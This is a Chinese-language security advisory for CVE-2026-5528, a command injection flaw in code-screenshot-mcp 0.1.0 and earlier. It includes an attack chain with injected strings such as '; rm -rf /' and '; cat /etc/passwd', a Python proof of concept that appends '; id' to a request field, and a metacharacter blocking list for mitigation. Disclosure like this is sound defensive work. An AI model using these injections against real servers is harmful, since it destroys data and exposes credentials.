IPBUF安全漏洞报告
English
CVE-2026-5528 CVSS 6.3 中危

CVE-2026-5528 code-screenshot-mcp OS命令注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5528
漏洞类型
操作系统命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MoussaabBadla code-screenshot-mcp

相关标签

OS命令注入RCECVE-2026-5528code-screenshot-mcpMoussaabBadla中危漏洞

漏洞概述

MoussaabBadla code-screenshot-mcp 0.1.0及以下版本存在安全漏洞,主要影响HTTP接口组件。由于未对用户输入进行严格过滤,导致远程攻击者可构造恶意请求触发操作系统命令注入。该漏洞利用难度低且无需用户交互,成功利用可导致系统机密性、完整性和可用性受损。目前漏洞利用细节已公开,厂商尚未做出回应。

技术细节

该漏洞位于MoussaabBadla code-screenshot-mcp的HTTP接口处理逻辑中,根本原因是应用程序直接将用户可控的输入传递给系统Shell执行,未进行有效的清洗或参数化处理。攻击者可以通过发送特制的HTTP请求,在输入字段中插入Shell元字符(如分号、反引号等),从而拼接并执行任意操作系统命令。根据CVSS 3.1向量分析(AV:N/AC:L/PR:L/UI:N/S:U),攻击者无需用户交互,仅需低权限即可通过网络发起攻击。一旦利用成功,攻击者将获得底层服务器的执行权限,进而窃取敏感数据、安装后门或破坏服务运行环境。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描目标网络,识别出运行MoussaabBadla code-screenshot-mcp 0.1.0及以下版本的服务器及HTTP接口端点。
STEP 2
2. 漏洞利用
攻击者向HTTP接口发送特制的POST请求,在参数字段中拼接恶意的Shell命令(如 ; rm -rf / 或 ; cat /etc/passwd)。
STEP 3
3. 命令执行
服务器后端未过滤输入,直接将恶意字符串传递给系统Shell执行,导致攻击者获得系统执行权限。
STEP 4
4. 后果达成
攻击者利用执行权限窃取数据、篡改文件或进一步横向移动,破坏系统机密性、完整性及可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # PoC for CVE-2026-5528 OS Command Injection # Target: MoussaabBadla code-screenshot-mcp HTTP Interface target_url = "http://127.0.0.1:PORT/api/screenshot" # Replace PORT with actual port # Malicious payload to inject command (e.g., 'id' or 'whoami') # Assumes a vulnerable parameter like 'filename' or 'path' payload = "; id" # Constructing the malicious request data = { "filename": "screenshot.png" + payload, "url": "http://example.com" } headers = { "Content-Type": "application/json" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=json.dumps(data), headers=headers) # Check if command execution output is reflected if response.status_code == 200: print("[+] Request sent successfully. Check response for command output.") print("Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

MoussaabBadla code-screenshot-mcp <= 0.1.0

防御指南

临时缓解措施
建议立即暂停使用受影响版本的code-screenshot-mcp组件,直至应用官方补丁。若必须继续使用,应在网络边界(如WAF)部署针对命令注入特征(如 ;, &, |, $, ` 等字符)的拦截规则,并严格限制服务器的出站网络连接以防止数据外传。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表